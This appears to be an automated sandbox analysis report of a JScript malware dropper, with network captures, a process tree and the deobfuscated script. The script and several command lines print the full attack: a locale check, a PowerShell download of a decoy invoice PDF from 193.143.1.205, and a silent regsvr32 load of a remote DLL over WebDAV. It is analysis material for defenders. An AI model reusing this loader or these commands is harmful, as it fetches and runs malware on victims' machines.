Jan 11, 2025 05:11:22.522136927 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:11:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:11:22.522161007 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:11:22.522280931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 05:11:22.522295952 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 05:11:22.522317886 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 05:11:22.522330999 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 05:11:22.522341967 CET	896	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 05:11:22.522355080 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 05:11:22.522397041 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 05:11:22.522408962 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 05:11:22.527295113 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	5560	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:11:24.671377897 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:11:25.461286068 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:11:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:11:18
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js"
Imagebase:	0x7ff786840000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:11:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Imagebase:	0x7ff715290000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:11:19
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:11:19
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:11:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:11:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff715290000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:11:23
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f42b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:11:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:11:25
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:11:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1528,i,9408754715289041947,3507642621052571991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function edxbrmgdy() {	edxbrmgdy() ➔ undefined
1	huwtnokyc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var elosvz = this[drltwmunq + jxnjvdt + mbtucurp + aghnckrgg + dlknze + xcfjb + axwpvuus + dmxdfe] ( this[lybbfdtth + drwvs + hontsrcv + mbtucurp + mgntvwkpp + drltwmunq + dmxdfe][gikfhd + mbtucurp + dlknze + jxnjvdt + dmxdfe + dlknze + yiqnb + utlajtrp + brlzyden + dlknze + hontsrcv + dmxdfe] ( lybbfdtth + drwvs + hontsrcv + mbtucurp + mgntvwkpp + drltwmunq + dmxdfe + zpbfff + drwvs + prnanf + dlknze + ybedbzpd + ybedbzpd ) [ebqtdo + dlknze + tnrrexwvv + ebqtdo + dlknze + jxnjvdt + pddqzr] ( fndsmyhlt + edawzdvu + oaoiosbtn + eemukiuhq + vppovahk + gikfhd + tphhdv + ebqtdo + ebqtdo + oaoiosbtn + kxizmhqfi + jwrydjpk + vppovahk + tphhdv + drwvs + oaoiosbtn + ebqtdo + cyaptew + gikfhd + gvuezt + axwpvuus + dmxdfe + mbtucurp + gvuezt + ybedbzpd + nlnhpxci + nxmslo + jxnjvdt + axwpvuus + dlknze + ybedbzpd + cyaptew + xcfjb + axwpvuus + dmxdfe + dlknze + mbtucurp + axwpvuus + jxnjvdt + dmxdfe + mgntvwkpp + gvuezt + axwpvuus + jxnjvdt + ybedbzpd + cyaptew + ppojho + gvuezt + hontsrcv + jxnjvdt + ybedbzpd + dlknze ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qktkf = 0 ; qktkf < huwtnokyc[ybedbzpd + dlknze + axwpvuus + tnrrexwvv + dmxdfe + prnanf] ; ++ qktkf )
4	{
5	if ( elosvz == huwtnokyc[qktkf] )
6	{
7	elosvz = true;
8	break ;
9	}
10	}
11	if ( elosvz !== true )
12	this[lybbfdtth + drwvs + hontsrcv + mbtucurp + mgntvwkpp + drltwmunq + dmxdfe][mwigm + plitcqe + mgntvwkpp + dmxdfe] ( );
13	this[lybbfdtth + drwvs + hontsrcv + mbtucurp + mgntvwkpp + drltwmunq + dmxdfe][gikfhd + mbtucurp + dlknze + jxnjvdt + dmxdfe + dlknze + yiqnb + utlajtrp + brlzyden + dlknze + hontsrcv + dmxdfe] ( lybbfdtth + drwvs + hontsrcv + mbtucurp + mgntvwkpp + drltwmunq + dmxdfe + zpbfff + drwvs + prnanf + dlknze + ybedbzpd + ybedbzpd ) [mbtucurp + plitcqe + axwpvuus] ( hontsrcv + ccuhp + pddqzr + nlnhpxci + hwyvsfpw + hontsrcv + nlnhpxci + drltwmunq + gvuezt + nabosb + dlknze + mbtucurp + aghnckrgg + prnanf + dlknze + ybedbzpd + ybedbzpd + zpbfff + dlknze + cjqrem + dlknze + nlnhpxci + nqnrn + gikfhd + gvuezt + ccuhp + ccuhp + jxnjvdt + axwpvuus + pddqzr + nlnhpxci + vcesmwxla + xcfjb + axwpvuus + ksaddvm + gvuezt + wzdfhmg + dlknze + nqnrn + lybbfdtth + dlknze + utlajtrp + ebqtdo + dlknze + dhygxhwos + plitcqe + dlknze + aghnckrgg + dmxdfe + nlnhpxci + nqnrn + yiqnb + plitcqe + dmxdfe + shabuja + mgntvwkpp + ybedbzpd + dlknze + nlnhpxci + yymxrsry + dmxdfe + dlknze + ccuhp + drltwmunq + yymxrsry + cyaptew + mgntvwkpp + axwpvuus + ksaddvm + gvuezt + mgntvwkpp + hontsrcv + dlknze + zpbfff + drltwmunq + pddqzr + zwjmmjzm + nlnhpxci + prnanf + dmxdfe + dmxdfe + drltwmunq + flqwiuocf + hwyvsfpw + hwyvsfpw + rejeiuqc + alnpze + vqmga + zpbfff + rejeiuqc + wxcwqg + vqmga + zpbfff + rejeiuqc + zpbfff + cfuvos + ahfit + phfuss + hwyvsfpw + mgntvwkpp + axwpvuus + ksaddvm + gvuezt + mgntvwkpp + hontsrcv + dlknze + zpbfff + drltwmunq + prnanf + drltwmunq + vcesmwxla + eogdhlz + eogdhlz + aghnckrgg + dmxdfe + jxnjvdt + mbtucurp + dmxdfe + nlnhpxci + yymxrsry + dmxdfe + dlknze + ccuhp + drltwmunq + yymxrsry + cyaptew + mgntvwkpp + axwpvuus + ksaddvm + gvuezt + mgntvwkpp + hontsrcv + dlknze + zpbfff + drltwmunq + pddqzr + zwjmmjzm + eogdhlz + eogdhlz + hontsrcv + ccuhp + pddqzr + nlnhpxci + hwyvsfpw + hontsrcv + nlnhpxci + axwpvuus + dlknze + dmxdfe + nlnhpxci + plitcqe + aghnckrgg + dlknze + nlnhpxci + cyaptew + cyaptew + rejeiuqc + alnpze + vqmga + zpbfff + rejeiuqc + wxcwqg + vqmga + zpbfff + rejeiuqc + zpbfff + cfuvos + ahfit + phfuss + vrvrzu + rjvkx + rjvkx + rjvkx + rjvkx + cyaptew + pddqzr + jxnjvdt + ksaddvm + nabosb + nabosb + nabosb + mbtucurp + gvuezt + gvuezt + dmxdfe + cyaptew + eogdhlz + eogdhlz + hontsrcv + ccuhp + pddqzr + nlnhpxci + hwyvsfpw + hontsrcv + nlnhpxci + mbtucurp + dlknze + tnrrexwvv + aghnckrgg + ksaddvm + mbtucurp + vqmga + cfuvos + nlnhpxci + hwyvsfpw + aghnckrgg + nlnhpxci + cyaptew + cyaptew + rejeiuqc + alnpze + vqmga + zpbfff + rejeiuqc + wxcwqg + vqmga + zpbfff + rejeiuqc + zpbfff + cfuvos + ahfit + phfuss + vrvrzu + rjvkx + rjvkx + rjvkx + rjvkx + cyaptew + pddqzr + jxnjvdt + ksaddvm + nabosb + nabosb + nabosb + mbtucurp + gvuezt + gvuezt + dmxdfe + cyaptew + rejeiuqc + alnpze + rejeiuqc + alnpze + cfuvos + vqmga + wxcwqg + alnpze + vqmga + cfuvos + rjvkx + alnpze + ahfit + alnpze + zpbfff + pddqzr + ybedbzpd + ybedbzpd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll",0,false) ➔ 0
14	}
15	fndsmyhlt = "T";
16	fndsmyhlt = "k";
17	fndsmyhlt = "M";
18	fndsmyhlt = "d";
19	fndsmyhlt = "N";
20	fndsmyhlt = "l";
21	fndsmyhlt = "h";
22	fndsmyhlt = "z";
23	fndsmyhlt = "x";
24	fndsmyhlt = "e";
25	fndsmyhlt = "o";
26	fndsmyhlt = "M";
27	fndsmyhlt = "W";
28	fndsmyhlt = "W";
29	fndsmyhlt = "k";
30	fndsmyhlt = "Q";
31	fndsmyhlt = "P";
32	fndsmyhlt = "H";
33	fndsmyhlt = "T";
34	fndsmyhlt = "b";
35	fndsmyhlt = "V";
36	fndsmyhlt = "e";
37	fndsmyhlt = "G";
38	fndsmyhlt = "K";
39	fndsmyhlt = "b";
40	fndsmyhlt = "I";
41	fndsmyhlt = "U";
42	fndsmyhlt = "f";
43	fndsmyhlt = "f";
44	fndsmyhlt = "v";
45	fndsmyhlt = "r";
46	fndsmyhlt = "v";
47	fndsmyhlt = "R";
48	fndsmyhlt = "Q";
49	fndsmyhlt = "T";
50	fndsmyhlt = "C";
51	fndsmyhlt = "G";
52	fndsmyhlt = "o";
53	fndsmyhlt = "q";
54	fndsmyhlt = "S";
55	fndsmyhlt = "c";
56	fndsmyhlt = "P";
57	fndsmyhlt = "K";
58	fndsmyhlt = "C";
59	fndsmyhlt = "H";
60	aghnckrgg = "E";
61	aghnckrgg = "I";
62	aghnckrgg = "v";
63	aghnckrgg = "z";
64	aghnckrgg = "h";
65	aghnckrgg = "l";
66	aghnckrgg = "X";
67	aghnckrgg = "A";
68	aghnckrgg = "F";
69	aghnckrgg = "s";
70	aghnckrgg = "M";
71	aghnckrgg = "O";
72	aghnckrgg = "S";
73	aghnckrgg = "q";
74	aghnckrgg = "L";
75	aghnckrgg = "p";
76	aghnckrgg = "h";
77	aghnckrgg = "T";
78	aghnckrgg = "I";
79	aghnckrgg = "e";
80	aghnckrgg = "G";
81	aghnckrgg = "J";
82	aghnckrgg = "d";
83	aghnckrgg = "v";
84	aghnckrgg = "c";
85	aghnckrgg = "H";
86	aghnckrgg = "a";
87	aghnckrgg = "j";
88	aghnckrgg = "D";
89	aghnckrgg = "Z";
90	aghnckrgg = "w";
91	aghnckrgg = "G";
92	aghnckrgg = "W";
93	aghnckrgg = "C";
94	aghnckrgg = "d";
95	aghnckrgg = "G";
96	aghnckrgg = "M";
97	aghnckrgg = "r";
98	aghnckrgg = "b";
99	aghnckrgg = "e";
100	aghnckrgg = "P";
101	aghnckrgg = "v";
102	aghnckrgg = "s";
103	edawzdvu = "r";
104	edawzdvu = "E";
105	edawzdvu = "N";
106	edawzdvu = "t";
107	edawzdvu = "f";
108	edawzdvu = "o";
109	edawzdvu = "o";
110	edawzdvu = "r";
111	edawzdvu = "O";
112	edawzdvu = "Z";
113	edawzdvu = "c";
114	edawzdvu = "E";
115	edawzdvu = "p";
116	edawzdvu = "g";
117	edawzdvu = "D";
118	edawzdvu = "L";
119	edawzdvu = "I";
120	edawzdvu = "g";
121	edawzdvu = "L";
122	edawzdvu = "Y";
123	edawzdvu = "M";
124	edawzdvu = "p";
125	edawzdvu = "v";
126	edawzdvu = "x";
127	edawzdvu = "U";
128	edawzdvu = "y";
129	edawzdvu = "x";
130	edawzdvu = "Z";
131	edawzdvu = "Q";
132	edawzdvu = "Z";
133	edawzdvu = "T";
134	edawzdvu = "a";
135	edawzdvu = "P";
136	edawzdvu = "W";
137	edawzdvu = "U";
138	edawzdvu = "H";
139	edawzdvu = "K";
140	edawzdvu = "c";
141	edawzdvu = "e";
142	edawzdvu = "k";
143	edawzdvu = "c";
144	edawzdvu = "i";
145	edawzdvu = "I";
146	edawzdvu = "R";
147	edawzdvu = "K";
148	dhygxhwos = "z";
149	dhygxhwos = "p";
150	dhygxhwos = "s";
151	dhygxhwos = "i";
152	dhygxhwos = "q";
153	dhygxhwos = "m";
154	dhygxhwos = "l";
155	dhygxhwos = "z";
156	dhygxhwos = "V";
157	dhygxhwos = "h";
158	dhygxhwos = "u";
159	dhygxhwos = "s";
160	dhygxhwos = "F";
161	dhygxhwos = "g";
162	dhygxhwos = "d";
163	dhygxhwos = "Z";
164	dhygxhwos = "O";
165	dhygxhwos = "q";
166	dhygxhwos = "c";
167	dhygxhwos = "o";
168	dhygxhwos = "U";
169	dhygxhwos = "q";
170	cfuvos = "f";
171	cfuvos = "j";
172	cfuvos = "M";
173	cfuvos = "k";
174	cfuvos = "P";
175	cfuvos = "e";
176	cfuvos = "R";
177	cfuvos = "I";
178	cfuvos = "D";
179	cfuvos = "G";
180	cfuvos = "2";
181	wzdfhmg = "G";
182	wzdfhmg = "H";
183	wzdfhmg = "F";
184	wzdfhmg = "U";
185	wzdfhmg = "T";
186	wzdfhmg = "j";
187	wzdfhmg = "J";
188	wzdfhmg = "f";
189	wzdfhmg = "k";
190	wzdfhmg = "k";
191	zpbfff = "p";
192	zpbfff = "O";
193	zpbfff = "K";
194	zpbfff = "k";
195	zpbfff = "Z";
196	zpbfff = "N";
197	zpbfff = "w";
198	zpbfff = "d";
199	zpbfff = "U";
200	zpbfff = "q";
201	zpbfff = "i";
202	zpbfff = "W";
203	zpbfff = "t";
204	zpbfff = "K";
205	zpbfff = "F";
206	zpbfff = "u";
207	zpbfff = "M";
208	zpbfff = "S";
209	zpbfff = "B";
210	zpbfff = "p";
211	zpbfff = "d";
212	zpbfff = "U";
213	zpbfff = "k";
214	zpbfff = "e";
215	zpbfff = "t";
216	zpbfff = "c";
217	zpbfff = "y";
218	zpbfff = ".";
219	prnanf = "b";
220	prnanf = "v";
221	prnanf = "n";
222	prnanf = "a";
223	prnanf = "i";
224	prnanf = "X";
225	prnanf = "c";
226	prnanf = "i";
227	prnanf = "U";
228	prnanf = "L";
229	prnanf = "e";
230	prnanf = "y";
231	prnanf = "H";
232	prnanf = "r";
233	prnanf = "R";
234	prnanf = "x";
235	prnanf = "v";
236	prnanf = "Q";
237	prnanf = "B";
238	prnanf = "y";
239	prnanf = "K";
240	prnanf = "D";
241	prnanf = "s";
242	prnanf = "o";
243	prnanf = "L";
244	prnanf = "q";
245	prnanf = "n";
246	prnanf = "B";
247	prnanf = "z";
248	prnanf = "y";
249	prnanf = "d";
250	prnanf = "p";
251	prnanf = "O";
252	prnanf = "O";
253	prnanf = "J";
254	prnanf = "h";
255	hwyvsfpw = "y";
256	hwyvsfpw = "h";
257	hwyvsfpw = "i";
258	hwyvsfpw = "z";
259	hwyvsfpw = "R";
260	hwyvsfpw = "r";
261	hwyvsfpw = "f";
262	hwyvsfpw = "T";
263	hwyvsfpw = "/";
264	ccuhp = "v";
265	ccuhp = "Z";
266	ccuhp = "R";
267	ccuhp = "y";
268	ccuhp = "y";
269	ccuhp = "r";
270	ccuhp = "e";
271	ccuhp = "c";
272	ccuhp = "m";
273	ccuhp = "d";
274	ccuhp = "k";
275	ccuhp = "e";
276	ccuhp = "u";
277	ccuhp = "u";
278	ccuhp = "M";
279	ccuhp = "L";
280	ccuhp = "x";
281	ccuhp = "k";
282	ccuhp = "X";
283	ccuhp = "d";
284	ccuhp = "D";
285	ccuhp = "h";
286	ccuhp = "x";
287	ccuhp = "K";
288	ccuhp = "L";
289	ccuhp = "r";
290	ccuhp = "z";
291	ccuhp = "f";
292	ccuhp = "V";
293	ccuhp = "m";
294	utlajtrp = "x";
295	utlajtrp = "E";
